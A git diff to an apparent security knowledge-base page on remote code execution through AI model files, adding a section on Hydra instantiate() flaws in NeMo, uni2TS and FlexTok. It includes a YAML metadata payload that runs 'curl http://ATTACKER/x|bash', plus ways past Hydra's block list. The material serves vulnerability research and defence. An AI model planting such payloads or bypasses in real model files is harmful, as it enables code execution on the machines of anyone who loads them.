diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
index 705a4be2a05..7c4a3457a94 100644
--- a/src/AI/AI-Models-RCE.md
+++ b/src/AI/AI-Models-RCE.md
@@ -23,9 +23,27 @@ At the time of the writting these are some examples of this type of vulneravilit
 | **GGML (GGUF format)**      | **CVE-2024-25664 … 25668** (multiple heap overflows)                                                                         | Malformed GGUF model file causes heap buffer overflows in parser, enabling arbitrary code execution on victim system                     | |
 | **Keras (older formats)**   | *(No new CVE)* Legacy Keras H5 model                                                                                         | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
 | **Others** (general)        | *Design flaw* – Pickle serialization                                                                                         | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
+| **NeMo / uni2TS / FlexTok (Hydra)** | Untrusted metadata passed to `hydra.utils.instantiate()` **(CVE-2025-23304, CVE-2026-22584, FlexTok)** | Attacker-controlled model metadata/config sets `_target_` to arbitrary callable (e.g., `builtins.exec`) → executed during load, even with “safe” formats (`.safetensors`, `.nemo`, repo `config.json`) | [Unit42 2026](https://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/) |
 
 Moreover, there some python pickle based models like the ones used by [PyTorch](https://github.com/pytorch/pytorch/security) that can be used to execute arbitrary code on the system if they are not loaded with `weights_only=True`. So, any pickle based model might be specially susceptible to this type of attacks, even if they are not listed in the table above.
 
+### Hydra metadata → RCE (works even with safetensors)
+
+`hydra.utils.instantiate()` imports and calls any dotted `_target_` in a configuration/metadata object. When libraries feed **untrusted model metadata** into `instantiate()`, an attacker can supply a callable and arguments that run immediately during model load (no pickle required).
+
+Payload example (works in `.nemo` `model_config.yaml`, repo `config.json`, or `__metadata__` inside `.safetensors`):
+
+```yaml
+_target_: builtins.exec
+_args_:
+  - "import os; os.system('curl http://ATTACKER/x|bash')"
+```
+
+Key points:
+- Triggered before model initialization in NeMo `restore_from/from_pretrained`, uni2TS HuggingFace coders, and FlexTok loaders.
+- Hydra’s string block-list is bypassable via alternative import paths (e.g., `enum.bltns.eval`) or application-resolved names (e.g., `nemo.core.classes.common.os.system` → `posix`).
+- FlexTok also parses stringified metadata with `ast.literal_eval`, enabling DoS (CPU/memory blowup) before the Hydra call.
+
 ### 🆕  InvokeAI RCE via `torch.load` (CVE-2024-12029)
 
 `InvokeAI` is a popular open-source web interface for Stable-Diffusion. Versions **5.3.1 – 5.4.2** expose the REST endpoint `/api/v2/models/install` that lets users download and load models from arbitrary URLs.
@@ -245,5 +263,8 @@ For a focused guide on .keras internals, Lambda-layer RCE, the arbitrary import
 - [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js)
 - [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js)
 - [Hugging Face Transformers](https://github.com/huggingface/transformers)
+- [Unit 42 – Remote Code Execution With Modern AI/ML Formats and Libraries](https://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/)
+- [Hydra instantiate docs](https://hydra.cc/docs/advanced/instantiate_objects/overview/)
+- [Hydra block-list commit (warning about RCE)](https://github.com/facebookresearch/hydra/commit/4d30546745561adf4e92ad897edb2e340d5685f0)
 
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